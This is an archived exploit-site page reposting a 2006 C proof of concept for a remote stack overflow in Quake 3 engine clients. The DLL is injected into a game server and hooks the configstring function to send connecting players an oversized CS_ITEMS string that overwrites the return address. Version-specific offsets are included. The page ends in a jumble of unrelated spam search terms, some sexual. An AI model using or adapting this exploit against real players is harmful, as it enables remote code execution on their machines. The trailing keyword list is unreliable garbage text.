about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Quake 3 Engine Client CS_ITEMS Remote Overflow Exploit (Win32)




2006-07-02 Quake 3 Engine Client CS_ITEMS Remote Overflow Exploit (Win32)
Rated as : Moderate Risk

/*
Quake 3 Engine Client CS_ITEMS Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit
(http://research.microsoft.com/sn/detours/)
I recommend you compile this with Microsoft Visual C++

Use this responsibly. You are responsible for any damage you cause using
this.

Info:
The engine strips bytes >127, '%', and '\0' before it overflows, so you
will need encoded shellcode and an EIP which doesn't contain any of these
characters.
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
	char *pVersionString;
	DWORD dwVersionStringAddr;
	DWORD dwSetConfigstringAddr;
	DWORD dwFillSize;
	DWORD dwNewEIP;
	int iCS_ITEM;
};

VersionStruct Versions[] = {
	{ "Quake 3: Arena", 0x4C1B94, 0x431E70, 836, 0x13333337, 27
},	//Quake 3 Arena 1.32c
	{ "Quake 3: Arena", 0x4D2184, 0x438610, 836, 0x13333337, 27
},	//Quake 3 Arena 1.32b
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SetConfigstring)(int iIndex, const char *pVal);
void SV_SetConfigstring_Hook(int iIndex, const char *pVal)
{
	char szString[4096];
	char *pPtr = NULL;

	if(pVersion != NULL)
	{
		if(iIndex == pVersion->iCS_ITEM)
		{
			memset(szString, 0, sizeof(szString));
			pPtr = &szString[0];

			memset(pPtr, 'a', pVersion->dwFillSize);
			pPtr += pVersion->dwFillSize;

			memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
			pPtr += sizeof(DWORD);

			orig_SV_SetConfigstring(iIndex, szString);

			return;
		}
	}

	orig_SV_SetConfigstring(iIndex, pVal);
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
	if(dwReason == DLL_PROCESS_ATTACH)
	{
		for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
		{
			if(!stricmp((char*)Versions[i].dwVersionStringAddr,
Versions[i].pVersionString))
			{
				pVersion = &Versions[i];
				break;
			}
		}

		if(pVersion == NULL)
		{
			//Could not find correct version
			return 1;
		}

		DetourFunction((BYTE*)pVersion->dwSetConfigstringAddr,
(BYTE*)SV_SetConfigstring_Hook);
		_asm mov [orig_SV_SetConfigstring], eax
	}

	return 1;
}
securitydot.net - 2006-07-02

Advertising

Copyright 2007, SecurityDot
Tue, 08 Dec 2009 02:14:40 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
349544515. addguest.h www.qingti exchange c Mujere MySpeach mail.roo.a 26688.mo.c Seximager www.iptry. www.naruto CMS is Fre 3.2.5 Download s little lol Aldultsex maas3434@y IIS 5 DAV Saxygirls andhra sex www.89.cmm Artiphp+XX Jewe ms rpc exp 2yxi.com www.189qq. ww worldse bsplayer 2 www.jntyin Video sex www.0816bc yoyoyiay.c www.hx225. news for c Www.Sexymo powerftpd 2_(_ 200 /compo Vedio gay Alison Ang ww.tamilse daily indi 265aa.com Www wptric www.taobao news for C sixy arab Www.tamil. nod 32 ser meera+in+s